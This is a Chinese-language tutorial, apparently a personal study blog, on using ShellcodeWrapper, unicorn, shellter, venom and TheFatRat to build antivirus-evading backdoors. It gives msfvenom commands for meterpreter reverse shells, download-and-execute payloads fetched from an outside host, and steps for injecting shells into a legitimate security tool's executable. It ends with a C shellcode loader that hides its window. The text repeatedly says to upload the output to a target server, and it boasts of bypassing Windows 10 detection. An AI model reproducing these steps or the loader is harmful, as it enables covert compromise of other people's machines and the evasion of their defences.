工具免殺
選擇了幾個簡單或者近期還有更新的免殺工具進行學習
ShellcodeWrapper
專案地址
https://github.com/Arno0x/ShellcodeWrapper
該工具的原理是使用異或加密或者aes加密,做到混淆,進行免殺。
先使用msfvenom生成raw格式檔案
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f raw -o shellcode.raw
下面命令mi0
是密碼隨意寫即可。
python shellcode_encoder.py -cpp -cs -py payload/shellcode.raw mi0 xor
會生成3個檔案,用C++編譯的cpp檔案,用python編譯的py檔案和用c#編譯的cs檔案
直接丟到vs中把cpp編譯生成exe檔案即可,上傳目標伺服器。
unicorn
專案地址
https://github.com/trustedsec/unicorn.git
從github上下載下來就可以執行,使用方法非常簡單
支援生成ps1、macro、hta、dde等形式的程式碼和檔案
所有型別的使用方法如下
Usage:
python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit)
Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit)
Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit)
Generate .SettingContent-ms: python unicorn.py ms
這裡生產powershell的指令碼
python unicorn.py windows/meterpreter/reverse_tcp 192.168.2.1 4444
執行powershell的指令碼即可
shellter
shellter使用的是PE檔案注入的方式,測試kali和windows的版本,感覺windows的還要方便穩定一點
windows版本下載地址
https://www.shellterproject.com/download/
以windows為例下載後直接執行shellter.exe
主要一開始有2個模式,一個Auto一個manual
Auto的選項要少很多,更加的方便,manual選項很多,可以自定義呼叫的混淆模組等引數
Choose Operation Mode - Auto/Manual (A/M/H): A
Perform Online Version Check? (Y/N/H): N
#此處輸入注入的PE檔案,這裡注入D盾
PE Target: \\vmware-host\Shared Folders\Mac 上的 mi0\script\kali\D_Safe_Manage.exe
......(等待)
#選擇是否開啟隱藏模式
Enable Stealth Mode? (Y/N/H): N
#選擇回連payload的方式
************
* Payloads *
************
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
#選擇輸入listed payload輸入
Use a listed payload or custom? (L/C/H): L
#輸入payload的編號
Select payload by index: 1
***************************
* meterpreter_reverse_tcp *
***************************
#設定監聽地址和埠
SET LHOST: 192.168.2.1
SET LPORT: 4444
.....(等待生成成功即可)
目標伺服器上執行程式即可反彈shell(我這裡用msf的模組監聽即可收到shell)
venom
專案地址
https://github.com/r00t-3xp10it/venom
安裝起來步驟比較繁瑣,主要是依賴問題
進入到目標資料夾
sudo aux/setup.sh
會幫你安裝所有需要的依賴,之後執行
sudo ./venom.sh
選擇目標的模組
__ _ ______ ____ _ _____ ____ __
\ \ //| ___|| \ | |/ \| \ / |
\ \// | ___|| \| || || \/ |
\__/ |______||__/\____|\_____/|__/\__/|__|1.0.16
USER:kali ENV:vm INTERFACE:eth0 ARCH:x64 DISTRO:Kali
╔─────────────────────────────────────────────────────────────╗
║ 1 - Unix based payloads ║
║ 2 - Windows-OS payloads ║
║ 3 - Multi-OS payloads ║
║ 4 - Android|IOS payloads ║
║ 5 - Webserver payloads ║
║ 6 - Microsoft office payloads ║
║ 7 - System built-in shells ║
║ 8 - Amsi Evasion Payloads ║
║ ║
║ E - Exit Shellcode Generator ║
╚─────────────────────────────────────────────────────────────╣
SSARedTeam@2019_|
[☠] Shellcode Generator
[➽] Chose Categorie number: 2
之後會彈出適應該模組的免殺方式以及生成檔案格式,輸入對應的編號即可
之後分別會彈出接收shell的host輸入框,接收shell的port輸入框,反彈shell的payload選擇框(都是msf的),輸入生成檔案的名字
後面2個引數都選deafult預設即可
引數輸完之後,去vemon專案下的output中取生成的shell傳送到目標伺服器上執行即可
注:windows 1的dll檔案shell能夠繞過windows 10自帶病毒檢測(這就很nice)
執行dll可以使用以下命令
rundll32.exe test.dll,main
TheFatRad
專案地址
https://github.com/Screetsec/TheFatRat
安裝步驟很簡單
chmod +x setup.sh && ./setup.sh
更新(更新後還要重新setup.sh一下)
./update && chmod +x setup.sh && ./setup.sh
再檢查下元件是否正常
chmod +x chk_tools
./chk_tools
注意下即使元件正常也要安裝names的python依賴,之後呼叫模組的時候會用到
pip install names
踩坑:我的環境是kali20.2,這個版本的kali使用的kali使用者而不是root使用者,用sudo pip
安裝了後,啟動fatrat還是說找不到names
模組,這時候需要sudo su
切換到root使用者進行names
的安裝
在安裝時會發現它還需要BDF這個免殺作為依賴
在確定所有元件安裝完畢後執行
sudo ./fatrat
稍等片刻進入介面
2 ____
| |
|____|
_|____|_ _____ _ _____ _ _____ _
/ ee\_ |_ _| |_ ___| __|___| |_| __ |___| |_
.< __O | | | | -_| __| .'| _| -| .'| _|
/\ \.-.' \ |_| |_|_|___|__| |___|_| |__|__|___|_|
J \.|'.\/ \
| |_.|. | | | [--] Backdoor Creator for Remote Acces [--]
\__.' .|-' / [--] Created by: Edo Maland (Screetsec) [--]
L /|o'--'\ [--] Version: 1.9.7 [--]
| /\/\/\ \ [--] Codename: Whistle [--]
J / \.__\ [--] Follow me on Github: @Screetsec [--]
J / \.__\ [--] Dracos Linux : @dracos-linux.org [--]
|/ / [--] [--]
\ .'\. [--] SELECT AN OPTION TO BEGIN: [--]
____)_/\_(___\. [--] .___________________________________[--]
(___._/ \_.___)'\_.-----------------------------------------/
[01] Create Backdoor with msfvenom
[02] Create Fud 100% Backdoor with Fudwin 1.0
[03] Create Fud Backdoor with Avoid v1.2
[04] Create Fud Backdoor with backdoor-factory [embed]
[05] Backdooring Original apk [Instagram, Line,etc]
[06] Create Fud Backdoor 1000% with PwnWinds [Excelent]
[07] Create Backdoor For Office with Microsploit
[08] Trojan Debian Package For Remote Acces [Trodebi]
[09] Load/Create auto listeners
[10] Jump to msfconsole
[11] Searchsploit
[12] File Pumper [Increase Your Files Size]
[13] Configure Default Lhost & Lport
[14] Cleanup
[15] Help
[16] Credits
[17] Exit
┌─[TheFatRat]──[~]─[menu]:
└─────►2
這裡官方推薦02和06模組,這裡使用02的模組中的udp加殼
_______ ___ ___ ______ ___ ___ ___ ______
| _ | Y | _ \ | Y | | _ \
|. 1___|. | |. | \|. | |. |. | |
|. __) |. | |. | |. / \ |. |. | |
|: | |: 1 |: 1 |: |: |: | |
|::.| |::.. . |::.. . /|::.|:. |::.|::.| |
--- ------- ------ --- --- --- --- --- 1.0
Select one tool to create your Windows EXE FUD Rat
[ 1 ] - Powerstager 0.2.5 by z0noxz (powershell) (NEW)
[ 2 ] - Slow But Powerfull (OLD)
[ 3 ] - Return to menu
┌─[TheFatRat]──[~]─[FUDWIN]:
└─────► 2
會出現填寫lhost和lport的提示框
之後會等很長一段時間,生成exe檔案,上傳到目標伺服器執行即可
監聽使用msf的windows/meterpreter/reverse_tcp)
即可
該免殺工具也能過win10的自帶防火牆
手動修改程式碼
免殺思路:通過cs和msf生成後門檔案,對生成的後門進行程式碼處理達到免殺
避免彈出黑窗
在編寫c程式碼的時候可以加上該語句,則不會觸發黑窗
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
基本格式
編譯環境是VS 2019
在執行前將編譯器的棧緩衝區安全檢查(/Gs) 、資料執行保護(DEP)以及程式碼優化關閉關閉
關閉位置:
程式碼優化:C/C++ --> 優化
棧緩衝區安全檢查(/Gs):C/C++ --> 程式碼生成 --> 安全檢查
資料執行保護(DEP):聯結器 --> 高階 --> 資料執行保護
我們可以使用下面的模板生成shellcode,將msf或者cs的shellcode放入到buf陣列變數中即可。
在執行前可以對buf中的字元進行處理達到免殺(之後會學習記錄下如何手寫shellcode)
#include <windows.h>
#include <iostream>
#include <time.h>
#pragma comment (lib, "winmm.lib")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void startShellCode()
{
unsigned char buf[] = "";
void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
((void(*)())exec)();
}
void main() {
startShellCode();
}